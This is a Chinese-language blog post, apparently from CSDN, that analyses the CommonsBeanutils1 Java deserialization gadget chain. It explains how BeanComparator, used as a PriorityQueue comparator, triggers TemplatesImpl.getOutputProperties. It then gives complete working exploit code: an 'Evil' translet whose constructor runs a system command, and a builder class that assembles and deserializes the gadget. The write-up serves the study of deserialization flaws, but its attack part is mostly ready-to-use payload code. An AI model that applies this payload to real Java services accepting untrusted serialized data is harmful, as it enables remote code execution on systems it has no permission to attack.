CommonsBeanutils1反序列化链分析

本文详细解析了如何使用Apache Commons Beanutils库中的BeanComparator作为PriorityQueue的比较器,构建反序列化链,并通过实例展示了如何构造payload,利用TemplatesImpl类的公开方法构造一个完整的攻击链。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CommonsBeanutils1反序列化链分析

ACC2链中用到PriorityQueue类的比较器进行构造反序列化链,当时用到的是TransformingComparator对象作为PriorityQueue类的比较器,那么是否存在其它比较器可以用来构造反序列化链呢?

答案肯定是有的,BeanComparator对象就可以作为比较器用于构造反序列化链

Apache Commons Beanutils简介

Apache Commons Beanutils是 Apache Commons工具集中的另一个项目,它提供对 javaBean 的一些操作,javaBean的用于映射数据库的。比如如下一个javaBean就映射了数据库的一个Studnet表,表里面存在name和age字段

package org.apache.shiro.test;

public class Student {
    private String name;
    private int age;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
}

Apache Commons Beanutils提供对 javaBean 的一些操作,比如当PropertyUtils.getProperty(new Student,name)方法时,会去调用Student类的getName方法。

BeanComparator对象

这个对象位于org.apache.commons.beanutils这个包下,其实现了Comparator和Serializable接口,所以它可以用作PriorityQueue的比较器,如下为BeanComparator.compare方法

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

this.property为空则直接比较两个元素,当不为空则调用PropertyUtils.getProperty方法,当o1为对象A,this.property为name,则此时PropertyUtils.getProperty方法会调用A.getName方法,那么这个点怎么利用呢?

构造payload

前面分析ACC链的时候有一条TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses调用链,且getOutputProperties和newTransformer方法是公开的。注意到getOutputProperties方法,不就是符合PropertyUtils.getProperty方法的调用格式吗?当this.property为outputProperties(注意要小写才行),o1为TemplatesImpl时,则会调用TemplatesImpl.getOutputProperties进入反序列化调用链。

根据前面的分析,可以利用BeanComparator对象作为PriorityQueue的比较器进行构造反序列化链,完整payload如下

Evil.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

PayloadDemo03.java文件

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class PayloadDemo03 {
    public static void main(String[] args) throws Exception {
        PriorityQueue priorityQueue = (PriorityQueue) getObject();
        serAndUnser(priorityQueue);
    }

    public static Object getObject() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
        byte[] bytes = clazz.toBytecode();
        TemplatesImpl Evilobj = new TemplatesImpl();
        BeanComparator comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field declaredField = Evilobj.getClass().getDeclaredField("_bytecodes");
        declaredField.setAccessible(true);
        setField(Evilobj,"_bytecodes",new byte[][]{bytes});
        setField(Evilobj,"_name","ky");
        setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
        setField(comparator,"property","outputProperties");  //需要首字母小写
        setField(priorityQueue,"queue",new Object[]{Evilobj,Evilobj});
        return priorityQueue;
    }
    public static void setField(Object obj,String field,Object value) throws Exception{
        Field declaredField = obj.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(obj,value);
    }
    public static void serAndUnser(Object obj) throws Exception{
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(obj);
        oo.flush();
        oo.close();
        ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
        ObjectInputStream oi = new ObjectInputStream(bi);
        Object o = (Object) oi.readObject();
    }
}

自此,CommonsBeanutils1反序列化链就构造完毕了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值